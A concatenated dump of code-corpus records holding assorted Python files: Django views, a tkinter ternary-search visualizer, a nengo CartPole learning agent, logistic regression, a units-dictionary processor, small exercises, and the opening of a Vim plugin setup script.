'state':state})\n\n\n\n\n@login_required\ndef edit_wizard(request,pk, page):\n\n\n wizard_template='form_wizard.html'\n\n wizard_titles={'1': 'Propose',\n '2': 'Validate',\n '3': 'Submit',\n '4': 'Approve'}\n\n forms={'1': EditForm,\n '2': ValidateForm,\n '3': SubmitForm,\n '4': ApproveForm}\n\n templates={'1': 'edit_task.html',\n '2': 'validate_task.html',\n '3': 'submit_task.html',\n '4': 'approve_task.html'}\n\n save_functions={'1': 'create',\n '2': 'validate',\n '3': 'submit',\n '4': 'approve'}\n\n actors={'1': 'creator',\n '2': 'validator',\n '3': 'implementer',\n '4': 'approver'}\n\n form=forms[page]\n template=templates[page]\n save_function=save_functions[page]\n actor=actors[page]\n\n fields=form.base_fields\n\n # get task instance\n task = get_object_or_404(Task, pk=pk)\n\n # get task state\n state=task.state\n\n # get instance of the user whom the request is coming from\n user = request.user\n\n # get instance of corresponding employee\n employee = Employee.objects.filter(user__pk=user.pk)[0]\n\n # get authorized actor\n authorized_actor=getattr(task,actor)\n\n # determine writing rights of employee\n is_write=write_permission(page, state, employee, authorized_actor)\n\n if request.method == \"POST\":\n\n # if user strikes cancel, redirect to task list\n if request.POST.get(\"cancel\"):\n return redirect('task:list')\n\n # handles form submitted by user\n form = form(request.POST)\n\n #if not is_write:\n # disable_form(form)\n print(\"form is valid: %r\" % form.is_valid())\n\n if form.is_valid():\n\n # get data provided by user\n cleaned_data = form.cleaned_data\n\n # create new taskviews.py\n for field in fields:\n setattr(task, field, cleaned_data[field])\n\n # add automatic fields and save instance to db, with the help of model saving methods (1 method by wizard page)\n save_function=getattr(task,save_function)\n save_function(employee)\n\n # if everything goes well, redirect to task list\n return redirect(\"task:list\")\n\n else:\n\n # create context\n context={field: getattr(task,field) for field in fields}\n\n # delivers a blank form to be filled in\n form = form(context)\n\n #if not is_write:\n # print(\"disable form\")\n # disable_form(form)\n\n # render form using given html template\n return render(request, template, {'form': form, 'page': page, 'pk': pk, 'wizard_titles':wizard_titles, 'state':state})\n\n\n\ndef write_permission(page_string, state_string, employee, authorized_actor):\n\n is_write=False\n print(\"employee type: %s\" % type(employee.pk))\n print(\"authorized_actor type: %s\" % type(authorized_actor.pk))\n print(\"state type: %s\" % type(state_string))\n print(state_string)\n print(\"page type: %s\" % type(page_string))\n state=int(state_string)\n page=int(page_string)\n if employee.pk == authorized_actor.pk:\n if state>=page -1 and state<=page:\n is_write=True\n\n\n print(\"page: %s\" % page)\n print(\"state: %s\" % state)\n print(\"employee: %s\" % employee)\n print(\"authorized_actor: %s\" % authorized_actor)\n\n\n\n if is_write:\n print(\"%s has %s permission\" % (employee, page))\n else:\n print(\"%s has NO %s permission\" % (employee, page))\n\n return is_write\n\n\n\ndef disable_form(form):\n for field in form.fields:\n #form.fields[field].required=False\n form.fields[field].widget.attrs['disabled'] = 'disabled'\n\n\n@login_required\ndef delete(request,pk):\n\n task = get_object_or_404(Task, pk=pk)\n\n task.delete()\n\n return redirect(\"task:list\")\n\n\n","sub_path":"task/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"492111972","text":"from tkinter import * \r\nfrom tkinter import ttk\r\n\r\nfrom ternarysearch import ternary_search\r\nimport random\r\n\r\narray = []\r\nwindow = Tk()\r\nwindow.title(\"Ternary Search Visulaizer\")\r\n\r\ndef checkSpeed():\r\n if Speed_select.get() == 'Slow':\r\n speed=2.5\r\n \r\n elif Speed_select.get() == 'Medium':\r\n speed=1.5\r\n\r\n elif Speed_select.get() == 'Fast':\r\n speed=1\r\n\r\n else : speed=0.5\r\n return speed\r\n\r\ndef Start():\r\n strd=entry_select.get()\r\n if(len(strd) and strd.isnumeric()):\r\n ternary_search(0,len(array)-1,int(strd),array,display,checkSpeed())\r\n\r\ndef display(array, colours):\r\n canvas.delete(\"all\")\r\n hor_width = 1000 / (len(array) + 1)\r\n offset = hor_width//2\r\n spacing = hor_width//4\r\n for i, height in enumerate(array):\r\n #top left corner of rectangle\r\n x0 = i * hor_width + offset + spacing\r\n y0 = 500 - height * 450/1000\r\n #bottom right corner of rectangle\r\n x1 = (i + 1) * hor_width + offset\r\n y1 = 500\r\n\r\n canvas.create_rectangle(x0, y0, x1, y1, fill=colours[i])\r\n if(len(array)<=20): x_align=(x0+x0+x1)/3\r\n else : x_align=x0\r\n canvas.create_text(x_align, y0, anchor=SW, text=str(array[i]))\r\n \r\n window.update_idletasks()\r\n\r\n\r\ndef Create_Random_Array():\r\n global array\r\n size = int(Array_size.get())\r\n\r\n array = []\r\n colours=[]\r\n for _ in range(size):\r\n array.append(random.randrange(100, 1000))\r\n colours.append('indianred1')\r\n array.sort()\r\n display(array, colours)\r\n\r\n\r\ncanvas = Canvas(master=window, width=1000, height=500, bg='#f5f2c5')\r\ncanvas.pack()\r\n\r\nNavigation_frame = Frame(master=window, width= 1000, height=200, bg='#6200ee')\r\nNavigation_frame.pack(fill=X)\r\n\r\nLabel(master=Navigation_frame, text=\"Enter the value to search (integer only): \", bg='cyan',width=35, relief=RAISED, borderwidth=5).grid(row=0, column=0, padx=40, pady=5, sticky=W)\r\nentry_select = ttk.Entry(master=Navigation_frame,width=23)\r\nentry_select.grid(row=0, column=1, padx=5, pady=5)\r\n\r\nButton(master=Navigation_frame, text=\"Start\", command=Start, bg='coral', relief=RAISED, borderwidth=5,width=20).grid(row=0, column=4, padx=40, pady=5)\r\n\r\nLabel(master=Navigation_frame, text=\"Select Speed: \", bg='cyan',width=35, relief=RAISED, borderwidth=5).grid(row=1, column=0, padx=40, pady=5, sticky=W)\r\nSpeed_select = ttk.Combobox(master=Navigation_frame, values=['Slow', 'Medium', 'Fast'])\r\nSpeed_select.current(1)\r\nSpeed_select.grid(row=1, column=1, padx=5, pady=5)\r\n\r\nArray_size = Scale(master=Navigation_frame, from_=3, to=50, resolution=1, orient=HORIZONTAL, label=\"Array Size\",length=150)\r\nArray_size.set(10)\r\nArray_size.grid(row=0, column=3, padx=20, pady=5)\r\n\r\nButton(master=Navigation_frame, text=\"Generate New Sorted Array\", command=Create_Random_Array, bg='cyan', relief=RAISED, borderwidth=5,width=20).grid(row=1, column=4, padx=5, pady=5)\r\n\r\ntemp_size=10\r\ntemp_color=[]\r\nfor _ in range(temp_size):\r\n array.append(random.randrange(100, 1000))\r\n temp_color.append('indianred1')\r\narray.sort()\r\ndisplay(array, temp_color)\r\n\r\nwindow.mainloop()","sub_path":"ternarysearchUI.py","file_name":"ternarysearchUI.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"5608451","text":"import nengo\nimport numpy as np\n\nimport gym\n\nmodel=nengo.Network()\n\nenv = gym.make('CartPole-v0').env\n\nclass EnvironmentInterface(object):\n def __init__(self,env,stepSize =5):\n self.env = env\n self.n_actions = env.action_space.n\n self.state_dim = env.observation_space.shape[0]\n self.t=0\n self.stepsize = stepSize\n self.output = np.zeros(self.n_actions)\n self.state = env.reset()\n self.reward= 0\n self.current_action = 0\n\n def take_action(self,action):\n self.state,self.reward,self.done,_=env.step(action)\n if self.done:\n self.reward = -2\n self.state = env.reset()\n\n def get_reward(self,t):\n return self.reward\n \n def sensor(self,t):\n return self.state\n\n \n def step(self,t,x):\n if int(t*1000)%self.stepsize == 0:\n self.current_action = np.argmax(x) #np.argmax(self.output)#\n self.take_action(self.current_action)\n \n def calculate_Q(self,t,x):\n\n if int(t*1000) % self.stepsize == 1:\n qmax = x[np.argmax(x)]\n self.output = x\n self.output[self.current_action] = 0.9*qmax + self.reward\n \n return self.output\n \n \n \n \ntau = 0.01\n\nfast_tau = 0\nslow_tau = 0.01\nn_action =2\nenvI=EnvironmentInterface(env)\n\nstate_dimensions=envI.state_dim\nn_actions = envI.n_actions\n\n\nfrom gym import wrappers\nfrom datetime import datetime\n#Video Capturing Mechanism \nfilename=\"test\"\nis_monitor=False\n# env.close()\nif is_monitor:\n #filename = os.path.basename(__file__).split('.')[0]\n monitor_dir = './' + filename + '_' + str(datetime.now())\n env = wrappers.Monitor(env, monitor_dir)\n env.reset()\n\n\n\nwith model:\n sensor = nengo.Node(envI.sensor)\n reward = nengo.Node(envI.get_reward)\n \n sensor_net = nengo.Ensemble(n_neurons=1000,dimensions=envI.state_dim,radius=10)\n \n nengo.Connection(sensor,sensor_net)\n \n action_net = nengo.Ensemble(n_neurons=1000,dimensions=envI.n_actions,radius=10)\n \n learning_conn=nengo.Connection(sensor_net,action_net,function=lambda x:[0,0],learning_rule_type=nengo.PES(1e-3, pre_tau=slow_tau),synapse=tau)\n \n q_node = nengo.Node(envI.calculate_Q,size_in=2,size_out=2)\n \n step_node = nengo.Node(envI.step,size_in=2)\n \n nengo.Connection(action_net,step_node,synapse=fast_tau)\n \n nengo.Connection(action_net,q_node,synapse=tau)\n \n \n nengo.Connection(q_node,learning_conn.learning_rule,transform =-1,synapse=fast_tau) ##0.9*Q(s',a')+r\n \n nengo.Connection(action_net,learning_conn.learning_rule,transform =1,synapse=slow_tau)#Q(s,a)\n\n\n\n# env\n\n# with model:\n# sensor = nengo.Node(envI.sensor)\n\n# reward = nengo.Node(envI.get_reward)\n\n# update_node = nengo.Node(envI.step2,size_in=n_action,size_out=6)\n\n# q_Node = nengo.Node(size_in=n_action)\n\n\n# state = nengo.Ensemble(n_neurons=1000,dimensions=4,\n# intercepts=nengo.dists.Choice([0.15]), radius=4)\n\n# learn_signal = nengo.Ensemble(n_neurons=1000, dimensions=n_action)\n \n# action_value = nengo.Ensemble(n_neurons = 1000,dimensions=n_action)\n\n# nengo.Connection(sensor,state,synapse=None)\n\n# q_conn =nengo.Connection(state,update_node,function=lambda x:[0,0],\n# # transform=weight_init(shape=(n_action, 1000)),\n# learning_rule_type=nengo.PES(1e-3, pre_tau=slow_tau),\n# synapse=fast_tau)\n \n# nengo.Connection(update_node[0:n_action],learn_signal,transform =-1,\n# synapse=slow_tau)\n \n# nengo.Connection(update_node[n_action:2*n_action],learn_signal,transform=1,\n# synapse = fast_tau)\n \n# nengo.Connection(learn_signal,q_conn.learning_rule,transform=-1,\n# synapse=fast_tau)\n\n \n# nengo.Connection(update_node[2*n_action:], q_Node, synapse=fast_tau)\n\n\n\n\n\n# with nengo.Simulator(model) as sim:\n# sim.run(10.0)\n\n\n\n# sim=nengo.Simulator(model)\n\n# for i in range(200000):\n# sim.step()\n\n\n","sub_path":"agent_model.py","file_name":"agent_model.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"257895861","text":"import time\nimport numpy as np\n\ndef exeTime(func):\n def newFunc(*args, **args2):\n t0 = time.time()\n back = func(*args, **args2)\n return back, time.time() - t0\n return newFunc\n\ndef loadDataSet(filename, addones=False):\n \"\"\"\n 读取数��集\n :param addones: 是否添加 1, The default is not\n :param filename: 文件名\n :return:\n X: 训练样本集矩阵\n y: 标签集矩阵\n \"\"\"\n file = open(filename)\n numFeat = len(file.readline().split('\\t')) - 1\n X = []\n y = []\n for line in file.readlines():\n lineArr = []\n curLine = line.strip().split('\\t')\n for i in range(numFeat):\n lineArr.append(float(curLine[i]))\n if addones:\n X.append([1.0, float(lineArr[0]), float(lineArr[1])])\n else:\n X.append([float(lineArr[0]), float(lineArr[1])])\n y.append(float(curLine[-1]))\n return np.mat(X), np.mat(y).T\n\n\ndef sigmoid(z):\n return 1.0 / (1.0 + np.exp(-z))\n\n\ndef J(theta, X, y, theLambda=0):\n \"\"\"预测代价函数\n \"\"\"\n m, n = X.shape\n h = sigmoid(X.dot(theta))\n J = (-1.0/m)*(np.log(h).T.dot(y)+np.log(1-h).T.dot(1-y)) + (theLambda/(2.0*m))*np.sum(np.square(theta[1:]))\n if np.isnan(J[0]):\n return(np.inf)\n return J.flatten()[0,0]\n\n\n@exeTime\ndef gradient(X, y, options):\n \"\"\"\n 随机梯度下降法\n :param X: 样本矩阵\n :param y: 标签矩阵\n :param options: 选项\n :return: (thetas, errors), timeConsumed\n \"\"\"\n m, n = X.shape\n # 初始化参数矩阵\n theta = np.ones((n, 1))\n count = 0 # 迭代次数\n # 初始化误差无限大\n error = float('inf')\n rate = options.get('rate', 0.01)\n epsilon = options.get('eosilon', 0.1)\n maxLoop = options.get('maxLoop', 1000)\n theLambda = options.get('theLambda', 0)\n method = options['method']\n errors = [] # 保存误差变化情况\n thetas = [] # 保存参数变化情况\n def _sgd(theta):\n converged = False\n for i in range(maxLoop):\n if converged:\n break\n for j in range(m):\n h = sigmoid(X[j] * theta)\n diff = h - y[j]\n theta = theta - rate * (1.0 / m) * X[j].T * diff\n error = J(theta, X, y)\n errors.append(error)\n if error < epsilon:\n converged = True\n break\n thetas.append(theta)\n return thetas, errors, i + 1\n def _bgd(theta):\n for i in range(maxLoop):\n h = sigmoid(X.dot(theta))\n diff = h - y\n # theta0 should not be regularized\n theta = theta - rate * ((1.0 / m)*X.T*diff + (theLambda/m)*np.r_[[[0]], theta[1:]])\n error = J(theta, X, y, theLambda)\n errors.append(error)\n if error < epsilon:\n break\n thetas.append(theta)\n return thetas, errors, i + 1\n methods = {\n 'sgd': _sgd,\n 'bgd': _bgd\n }\n return methods[method](theta)\n\n\ndef oneVsAll(X, y, options):\n \"\"\"\n 多分类\n :param X: 样本\n :param y: 标签\n :param options: 选项\n :return: 权值矩阵\n \"\"\"\n # 类型数\n classes = set(np.ravel(y))\n # 决策边界矩阵\n Thetas = np.zeros((len(classes), X.shape[1]))\n # 一次选定每种分类对应的样本为正样本,其他样本标识为负样本,进行逻辑回归\n for idx, c in enumerate(classes):\n newY = np.zeros(y.shape)\n newY[np.where(y == c)] = 1\n result, timeConsumed = gradient(X, newY, options)\n thetas, errors, iterations = result\n Thetas[idx] = thetas[-1].ravel()\n return Thetas\n\n\ndef predictOneVsAll(X, thetas):\n H = sigmoid(thetas * X.T)\n return H","sub_path":"logical_regression/logical_regression.py","file_name":"logical_regression.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"593829204","text":"import json\nfrom django.shortcuts import render, HttpResponse\nfrom django.views.generic import TemplateView, ListView, CreateView\n\nfrom models import create_tp, update_auth_user\nfrom ubermyguide_django_server.utils import get_db_config, close_db_connection\n\nfrom ubermyguide_django_server.constants import NEW_PROVIDER_INSERTED\n\n\ndef create_tour_provider(request):\n '''\n Create a tour provider in the database\n '''\n tp = {}\n # username, password, first_name, last_name, email\n provider = json.loads(request.body)\n dbconfig = get_db_config()\n inserted_provider = create_tp(dbconfig, provider)\n update_auth_user(dbconfig, provider)\n if inserted_provider == NEW_PROVIDER_INSERTED:\n tp['status'] = True\n tp['message'] = 'New provider account created'\n return HttpResponse(json.dumps(tp), content_type=\"application/json\")\n tp['status'] = False\n tp['message'] = 'New provider account creation failed'\n return HttpResponse(json.dumps(tp), content_type=\"application/json\")\n\n\ndef tour_provider_profile(request):\n '''\n Get the tour provider profile\n '''\n pass\n\n","sub_path":"ubermyguide_django_server/tour_provider/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"538459759","text":"\"\"\"\nMain raw units dictionary processing module on initial imported JSON 'raw dictionary'\nSub-dictionary selection\n buildIDs: used to produce list of Uids that are consistent with selected SOU\n extractSubDict:\n sub-selects out of full (raw) 'master dictionary' only those units consistent with SOU selected\n In fact, what we will do going forward is pre-process a dictionary for each SOU, so this is not repeated each time\n However, for now, this helps development by isolating only those units that have been properly established in the raw JSON\n\n[unitProcess] processes targetDict, which modified (and passed back as outputDictionary) with following new keys:\n(Note: those that are asterisked are likely intermediate, but helpful in intermediate understanding and debugging.)\n\n *'baseList' - This is the first 'expansion' of the original defList back to 2tuples that are base units\n *'combList' - This reprocesses baseList to combine like terms\n 'coeff' - A float calculated by processing all numeric tuples in simpList via requried exponentiation and multiplication\n 'symList' - This is the 'remainder' of combList that wasn't formed up into coeff, i.e. the 2tuples of (base) symbols and degrees\n 'baseUnit'- A simple Boolean to indicate the particular unit is a base unit (in the given SOU)\n 'pathList' -In 'walking back' to the base units, this is the list of intermediate units used to get there\n Presumed this may be important when providing additional definitional information for problems\n\nwhich relies on following sub-functions:\n tagBase - makes determination as to whether current 2tuple represents a 'base unit'\n processCoeff - function that evaluates and comes up with 'coeff' float from numeric 2tuples in passed list of (base, degree) 2tuples\n baseStep - the fundamental procedure that takes 'one step closer' to base units by walking through current defList\n\nall in turn supported by simple small logic functions:\n argsDone - have all the arguments been fully processed back to base unit, which is determined simply by evaluating each symbol, per . . .\n symDone - generally if isNumber(symbol) or isBase(symbol) or symbol in stopSym, then symDone = True\n isNumber - is the base of 2tuple numeric? (includes evaluation of '1')\n isBase - is the symbol on list of base symbols, currently just for SI via:\n SIBUlist = ('m', 'kg', 's', 'A', 'K', 'mol', 'cd')\n\n\"\"\"\nimport F0_general as fGen\nimport ast\n# import os\n\ndef unitProcess(targetDict, exclUIDs):\n # Process targetDict\n # Creates baseList and simpList keys on targetDict and returns as outputDict\n\n outputDict = targetDict\n for unitName, unitInfo in outputDict.items():\n \n uID = unitInfo['Uid']\n pathList = []\n actionList = True\n \n # If uID excluded, simply move on to next entry in dictionary \n if uID in exclUIDs:\n breakStop = True\n continue\n \n # tempList is bucket used where expectation is mutable; defList variable used as non-mutable\n # Initially assigning value defList to tempList ahead of WHILE loop important, as otherwise\n # those units that are SIBU-only to begin with don't have anything to work from below loop\n defList = unitInfo['defList']\n tempList = defList[:]\n\n # Attack defList until all arguments have SIBU units returned into baseList\n actionList = not argsDone(defList) \n \n while actionList:\n # baseStep defList and assign to tempList for iteration on this loop\n \n baseReturn = baseStep(defList, pathList, uID, unitName, targetDict)\n tempList = baseReturn[0]\n baseError = baseReturn[1]\n \n # Partly to prevent endless looping on mal-formed elements,\n # but also just to call it a day if generating errors \n if baseError == \"OK\":\n actionList = not argsDone(tempList) \n else:\n actionList = False\n\n # When tempList fully processed place value in as new key into dictionary\n outputDict[unitName]['baseList'] = tempList\n \n # Then create new key that 'combines like terms' within baseList\n tempList = fGen.combineLike(tempList)\n outputDict[unitName]['combList'] = tempList\n\n # Having creating a series of base-unit related tuples, then matter of extracting coefficients\n # (Note, verbosity here with intermediate variable assignment helpful with de-bugger)\n coeff = processCoeff(tempList)[0]\n symList = processCoeff(tempList)[1]\n\n outputDict[unitName]['coeff'] = coeff\n outputDict[unitName]['symList'] = symList\n\n # Set Boolean variable based on coefficient and symList\n outputDict[unitName]['baseUnit'] = tagBase(coeff, symList)\n\n # Set value of constructed pathList into new key value in outputDict\n outputDict[unitName]['pathList'] = pathList\n\n return outputDict\n\ndef tagBase(coeff, symList):\n # All that's needed is to test the first tuple in list\n # If list has > 1 tuple, then not going to be a base unit anyway\n\n symbol = symList[0][0]\n degree = symList[0][1]\n \n # Conditions for base unit fairly self explanatory from 4 required conditions\n if len(symList) == 1 and coeff == 1 and isBase(symbol) and degree == 1:\n tagBase = True\n else:\n tagBase = False\n \n return tagBase \n\ndef processCoeff(argList):\n # Function that identifies each numeric tuple in argList, calculates float from values\n # and creates a new def-type list with these elements then removes the numeric tuples in symList version.\n # Are (1, 1) tuples present in any entries other than base units? Would these just be different names for same unit?\n\n symList = []\n coeff = 1.0\n\n for argTuple in argList:\n\n symbol = argTuple[0]\n degree = argTuple[1]\n\n if isNumber(symbol):\n if symbol == '1':\n symbol = 1\n coeff = coeff * symbol ** degree\n\n else:\n symList.append(argTuple)\n\n return (coeff, symList)\n\ndef baseStep(defList, pathList, unitID, unitName, unitsDict):\n\n # The purpose of this function is to swap-in a single argument (with a non-SIBU unit) with replacement arguments\n # where the degrees in the replacement are affected by the degree of the argument being replaced\n # Since the overall calling routine is cycling on the dictionary, creating the \"baseList\", this function\n # is design for essentially a single pass through the argument tuples in defList\n\n errLabel = \"OK\"\n if len(defList) == 0 or type(defList) is None:\n errLabel = \"Passed defList not proper list\"\n breakStop = True\n\n new_defList = defList\n for argTuple in defList:\n \n # Presumed defList is structured with 2tuples: (symbol, degree)\n if type(argTuple) != tuple:\n errLabel = \"Arg in defList not a 2tuple\"\n breakStop = True\n \n argSymbol = argTuple[0]\n argDegree = argTuple[1]\n \n if not symDone(argSymbol):\n \n # Start by clearing the offending argument out of argument list and assigning to new variable\n new_defList.remove(argTuple)\n \n # This is key bit. Replacement argument list is returned by looking through dictionary list to find\n # entry where its 'symbol' matches the symbol from argTuple\n \n matchFound = False\n for entry in unitsDict.items():\n # Loop through dictionary to identify the 'root' entry with a symbol (defined for the unit)\n # that matches the symbol in the argument\n # Note as well that an entry 'matching on itself' recursively is problem with dictionary (only allowable for Base Units)\n # Such a case is at least omitted from 'proper' matchFound\n\n matchName = entry[1]['name']\n if entry[1]['symbol'] == argSymbol and not (unitName == matchName):\n # When find a match, assign its defList to a replacement def list (as to structure)\n # i.e. this defList needs to be 'adjusted' consistent with the degree of the original argument\n \n matchFound = True\n rep_defList = entry[1]['defList']\n\n # Also add the unit ID for the matched unit onto pathList\n pathList.append(( entry[1]['Uid'], entry[1]['name']))\n break\n \n if matchFound:\n # This for loop builds a set of tuples consistent with rep_defList, but where degrees multiplied by degree\n # from the argument that is being replaced (and already cleared from defList\n\n for repArg in rep_defList:\n repSymbol = repArg[0]\n repDegree = argDegree * repArg[1] \n repTuple = (repSymbol, repDegree)\n new_defList.append(repTuple)\n \n # Revised defList simply returned with newArgs added\n # (noting non-SIBU 2tuple argument was 'cleared out' earlier in function)\n\n else: # If no match found\n # Best course is to simply replace argTuple back into string (order will be changed, though) and move on/out\n new_defList.append(argTuple)\n errLabel = \"No entry match found for an arg\\'s symbol in dictionary\" \n breakStop = True \n break\n \n \n if new_defList is None:\n errLabel = \"Replacement defList is NoneType\"\n breakStop = True\n\n return (new_defList, errLabel)\n\ndef argsDone(unitList):\n # This function tests all arguments in a list of 2tuples to see if unit letters require further iteration\n # 2tuple presumed to have structure: symbol, degree\n # Returns boolean \"argsDone\"\n\n argsDone = True\n \n for unitTuple in unitList:\n\n if len(unitTuple) != 2:\n # Just an error trap in the event something clearly busted with formation of unitList\n breakStop = True\n # A bit more robust against mal-formed unit list to manual unpack after above test\n symbol = unitTuple[0]\n degree = unitTuple[1]\n\n if not symDone(symbol):\n argsDone = False\n break\n\n return argsDone\n\ndef symDone(symbol):\n # Function simply test a single unit letter to see if in SIBU list, ignoring integers or floats\n \n stopSym = {'#'}\n # \"#\", which is symbol being tested for 'count of number of units' isn't designed as SI, but just to say buying 2 cars, instead of 3\n # The same (as above) will hold for currency symbols when we get to that point\n \n if isNumber(symbol) or isBase(symbol) or symbol in stopSym:\n symDone = True\n else:\n symDone = False\n \n return symDone\n\ndef isNumber(symbol):\n\n isNumber = isinstance(symbol, int) or isinstance(symbol, float) or symbol == '1'\n # Note, inclusion of '1' is an artifact of simplified spreadsheet parser, where this is simplest way\n # to handle the definitions where 1 is only value in numerator; generally frequency-related units, e.g. 1/s for Hz\n # This creates a ('1', 1) argument tuple. This is somewhat distinct by the (1, 1) tuple that relates from a unitary coefficient\n\n return isNumber\n\ndef isBase(symbol):\n\n SIBUlist = ('m', 'kg', 's', 'A', 'K', 'mol', 'cd')\n\n if symbol in SIBUlist:\n isBase = True\n else:\n isBase = False\n\n return isBase\n\ndef extractSubDict(selectionList, rawDict):\n # Builds new dictionary based on passed list, using values in list as key in new (nested) dictionary\n # Also creates a 'proper list' from what is string in JSON file via ast.literal_eval function\n\n outputDict = {}\n for rawEntry in rawDict:\n\n unitID = rawEntry['Uid']\n if unitID in selectionList:\n \n outputDict[unitID] = rawEntry\n defString = rawEntry['defString']\n \n # JSON structure of defString formatted to 'look' like Python list, but needs to be converted into one\n # and added into dictionary under new 'defList' key\n defList = ast.literal_eval(defString)\n outputDict[unitID]['defList'] = defList\n\n return outputDict\n\ndef buildIDlist(SOUset, rawDict):\n # Function builds a simple list of unit id (keys), i.e. key = Uid, where the system of units (SOU)\n # of the unit is in set passed SOUset\n\n IDlist = []\n for unitEntry in rawDict:\n\n if unitEntry['SOU'] in SOUset:\n IDlist.append(unitEntry['Uid'])\n\n # Extract the unit IDs for all SI and metric dictionary entries in the raw file\n \n return IDlist","sub_path":"Backup08/F2_unitsDict.py","file_name":"F2_unitsDict.py","file_ext":"py","file_size_in_byte":13038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"273061892","text":"'''\nУсловие\nДана последовательность натуральных чисел, завершающаяся числом 0. Определите, какое наибольшее число подряд идущих элементов этой последовательности равны друг другу. \n'''\n\n# Мое решение\ns = 1\ns1 = int(input())\ncount = 0\nmax = 0\nwhile s != 0:\n s = int(input())\n if s == s1:\n count = count + 1\n if count > max:\n max = count\n else:\n count = 0\n s1 = s\n\nprint(max+1)\n\n#Правильный вариант\nprev = -1\ncurr_rep_len = 0\nmax_rep_len = 0\nelement = int(input())\nwhile element != 0:\n if prev == element:\n curr_rep_len += 1\n else:\n prev = element\n max_rep_len = max(max_rep_len, curr_rep_len)\n curr_rep_len = 1\n element = int(input())\nmax_rep_len = max(max_rep_len, curr_rep_len)\nprint(max_rep_len)","sub_path":"6. Цикл while/Максимальное число идущих подряд равных элементов.py","file_name":"Максимальное число идущих подряд равных элементов.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"59172329","text":"from django.shortcuts import render, redirect\nfrom django.utils.timezone import utc\nfrom utils.utils import custom_redirect\nimport datetime\n\ndef terms_view(request):\n \n #Redirect unauthenticated users\n if not request.user.is_authenticated:\n return redirect('index:index')\n \n if request.user.conventecuser.kanzlei.deadline is not None and request.user.conventecuser.kanzlei.deadline <= datetime.datetime.now():\n return custom_redirect('login:error', e = 'deadline')\n \n if request.method == 'GET':\n #REMOVE FOR PRODUCTION\n reset = request.GET.get('reset', False)\n if reset:\n request.user.conventecuser.accepted_tou = False\n request.user.conventecuser.save()\n \n #language\n lang = request.GET.get('lang', False)\n \n #Provide context\n context = {\n 'user' : request.user,\n 'lang' : lang\n }\n \n return render(request, 'terms.html', context)\n \n elif request.method == 'POST':\n cb1 = request.POST.get('cb1', False)\n cb2 = request.POST.get('cb2', False)\n \n if cb1 == 'on' and cb2 == 'on':\n request.user.conventecuser.accepted_tou = True\n request.user.conventecuser.save()\n return redirect('projekt:projekt')\n else:\n return redirect('terms:terms')","sub_path":"terms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"116296058","text":"from itertools import product\nimport tkinter as tk\n\n\nclass WindView:\n \"\"\"\n Displays arrow representation of wind\n \"\"\" \n def __init__(self, canvas, wind):\n self.grid = 40\n self.wind_views = []\n for x, y in product(range(60), range(60)):\n wv = canvas.create_line(x * self.grid, y * self.grid, \n x * self.grid + wind.x * 30, \n y * self.grid + wind.y * 30, \n arrow=tk.LAST, fill='gray')\n self.wind_views.append(wv)\n \n def clear(self, canvas):\n for wv in self.wind_views:\n canvas.delete(wv) \n self.wind_views = None \n \n ","sub_path":"sail/view_pack/wind_view.py","file_name":"wind_view.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"99712428","text":"import os\nimport glob\n\nfrom lingpy import *\nfrom lingpy.evaluate.acd import *\n\nfrom fileio import read_data, get_cogids, extend_csv\nfrom crpclusterer import Clusterer\n\ndata_files = glob.glob(\"./Test set/*.csv\")\n\nfor method in (\"sca\", \"lex\"):\n for filename in data_files:\n # Derive matrix filename from .csv file and method\n dirr = os.path.dirname(filename)\n base = os.path.basename(filename)\n root = base.rsplit(\".\",1)[0]\n matrix_filename = os.path.join(dirr, \"%s_%s.matrices\" % (root, method))\n\n # Read matrix data\n ids, matrices = read_data(matrix_filename)\n\n # Find MAP partitions\n clusterer = Clusterer(matrices)\n clusterer.init_partitions()\n clusterer.find_MAP()\n\n # Generate CogIDs from MAP partitions\n results = get_cogids(ids, clusterer.partitions)\n\n # Extend the corresponding .csv file to include the new\n # CogIDs\n in_filename = os.path.join(dirr, \"%s.csv\" % root)\n if not os.path.exists(\"CRP results\"):\n os.makedirs(\"CRP results\")\n out_filename = os.path.join(\"CRP results\", \"%s_crp_%s.csv\" % (root,method))\n extend_csv(in_filename, out_filename, results, \"crp_%s\" % method)\n","sub_path":"run_crp.py","file_name":"run_crp.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"37539706","text":"#!/usr/bin/env python3\n\"\"\" Set up Pathogen and install my Vim plugins \"\"\"\n\n# Install/update my favorite plug-ins via pathogen/git\n\n# ALE - Asynchronous Linting Engine - https://github.com/dense-analysis/ale\n# ansible-vim - Ansible syntax highlighting - https://github.com/pearofducks/ansible-vim\n# AnsiEsc - Convert ASCII escapes to color - https://github.com/vim-scripts/AnsiEsc.vim\n# Colorizer - Colorize HTML color codes - https://github.com/chrisbra/Colorizer\n# Delview - Delete saved views - https://github.com/vim-scripts/delview\n# Fugitive - Git integration - https://github.com/tpope/vim-fugitive\n# git-gutter - Shows a git diff in the gutter - https://github.com/airblade/vim-gitgutter\n# nginx.vim - Nginx conf file syntax - https://github.com/chr4/nginx.vim\n# numbertoggle - Autoswitch number modes - https://github.com/jeffkreeftmeijer/vim-numbertoggle\n# PS1 - PowerShell syntax highlighting - https://github.com/PProvost/vim-ps1\n# Vinegar - Better netrw? - 